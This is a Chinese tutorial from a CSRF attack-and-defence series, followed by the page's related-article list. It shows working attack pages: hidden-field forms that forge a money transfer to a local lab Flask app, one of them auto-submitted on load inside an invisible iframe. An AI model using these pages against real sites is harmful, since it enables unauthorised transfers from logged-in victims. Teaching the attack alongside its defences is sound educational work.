准备一个页面或图片,用于用户访问

一:表单方式

视图

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html') if __name__ == '__main__':
app.run(debug=True)

页面代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<form action="http://127.0.0.1:5000/transfer/" method="post"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
<tr>
<td></td>
<td><input type="submit" value="开始游戏"></td><!--转账按钮-->
</tr>
</tbody>
</table>
</form>
</body>
</html>

数据库的情况

确保有cookie信息

用户点开始游戏

再看数据

二:js方式

自动提交转账的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
</head>
<body>
<form action="http://127.0.0.1:5000/transfer/" method="post" id="myform"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
</tbody>
</table>
</form>
<script>
$(function () {
$('#myform').submit(); //访问页面就自动提交代码
});
</script>
</body>
</html>

视图

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html') @app.route('/transfer/')
def transfer():
return render_template('transfer.html') if __name__ == '__main__':
app.run(debug=True, port=8888)

提供给用户访问的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<!--因为转账有响应的页面,所以使用iframe将其网页在当前页面加载为子页面,并把宽和高都设为0,用户就察觉不到了-->
<iframe src="{{ url_for('transfer') }}" frameborder="0" width="0" height="0"></iframe>
</body>
</html>

数据库信息

用户访问页面

数据库信息

六十四:CSRF攻击与防御之系统准备之病毒网站转账实现的更多相关文章

  1. 六十三:CSRF攻击与防御之系统准备之登录与转账功能

    登录功能 在forms里面添加验证 class LoginForm(Form): email = StringField(validators=[Email(message='邮箱格式错误')]) p ...

  2. 六十二:CSRF攻击与防御之系统准备之注册功能

    CSRF攻击原理: 配置信息 import osSQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:123456@127.0.0.1:3306/test'S ...

  3. Gradle 1.12用户指南翻译——第六十四章. 发布到Ivy(新)

    其他章节的翻译请参见:http://blog.csdn.net/column/details/gradle-translation.html翻译项目请关注Github上的地址:https://gith ...

  4. SpringBoot进阶教程(六十四)注解大全

    在Spring1.x时代,还没出现注解,需要大量xml配置文件并在内部编写大量bean标签.Java5推出新特性annotation,为spring的更新奠定了基础.从Spring 2.X开始spri ...

  5. 第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理

    第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理 1.映射(mapping)介绍 映射:创建索引的时候,可以预先定义字 ...

  6. “全栈2019”Java第六十四章:接口与静态方法详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  7. 孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3

    孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3 (完整学习过程屏幕记录视频地址在文末) 今天是学习mongoDB数据库的第十天. 今天继续学习mongoDB的简单操作, ...

  8. 六十五:CSRF攻击与防御之CSRF防御之form表单防御

    防御原理,将csrf_token放到session中,再将session放到cookie中 实现: from flask_wtf import CSRFProtect # flask_wtf 已经提供 ...

  9. OpenCV开发笔记(六十四):红胖子8分钟带你深入了解SURF特征点(图文并茂+浅显易懂+程序源码)

    若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...

随机推荐

  1. 接口测试工具中 post请求如何传递多维数组

    1,请求参数为数组时,可以采用传递 json格式的形式传递请求参数(字段及字段对应的值如查是字符,都应该用双引号括起来.用单引号会无法识别),后台接收的数据为json . 2,直接以数组格式来请请求 ...

  2. 白话跨域CORS

    跨域访问控制是浏览器和服务器按照约定,协同工作,守护安全的一种机制. 其中认为浏览器和服务器是安全的,但是浏览器上运行的页面(HTML+JS)可能不安全. 分几种不同方式. 页面跨域简单请求(Get/ ...

  3. 浅析jsp

    什么是jsp?jsp的全称是 java Server Page ,也就是俗称的动态网页,什么是静态网页和动态网页呢,在我理解看来,HTML等网页就属于静态网页,jsp等网页属于动态网页,为什么这么说呢 ...

  4. VSCode远程连接Docker

    一.Docker开启远程访问 [root@local host ~]# vi /lib/systemd/system/docker.service #修改ExecStart这行 ExecStart=/ ...

  5. 网卡绑定(bonding)

    就是将多块网卡绑定同一IP地址对外提供服务,可以实现高 可用或者负载均衡.当然,直接给两块网卡设置同一IP地址 是不可能的.通过bonding,虚拟一块网卡对外提供连接, 物理网卡的被修改为相同的MA ...

  6. JAVA bean为何要实现序列化

    简而言之:序列化,就是为了在不同时间或不同平台的JVM之间共享实例对象.即序列化出于两个原因:①.用于持久化到磁盘上:②.用于作为数据流在网络上传输. 所谓的Serializable,就是java提供 ...

  7. Google Protocol Buffer入门

    简介 Google Protocol Buffer( 简称 Protobuf) 是 Google 公司内部的混合语言数据标准,目前已经正在使用的有超过 48,162 种报文格式定义和超过 12,183 ...

  8. 源码安装 qemu-2.0.0 及其依赖 glib-2.12.12

    源码安装qemu-2.0.0 下载源代码并解压 http://wiki.qemu-project.org/download/qemu-2.0.0.tar.bz2 .tar.gz 编译及安装: cd q ...

  9. VMware 虚拟机下载与安装

    虚拟机下载 VMware官网地址:https://www.vmware.com/ 进行官网后,点击左边的下载图标,然后 根据操作系统选择合适的产品,在这里以Windows系统为例,点击转至下载,如下图 ...

  10. mysql 查看删除触发器等操作

    mysql 查看删除触发器等操作 平时很少操作触发器,源于昨晚的一次故障,使用pt-online-change-schema修改大表过程中出现异常,再次执行时,提示已经存在触发器,导致失败. 这里推荐 ...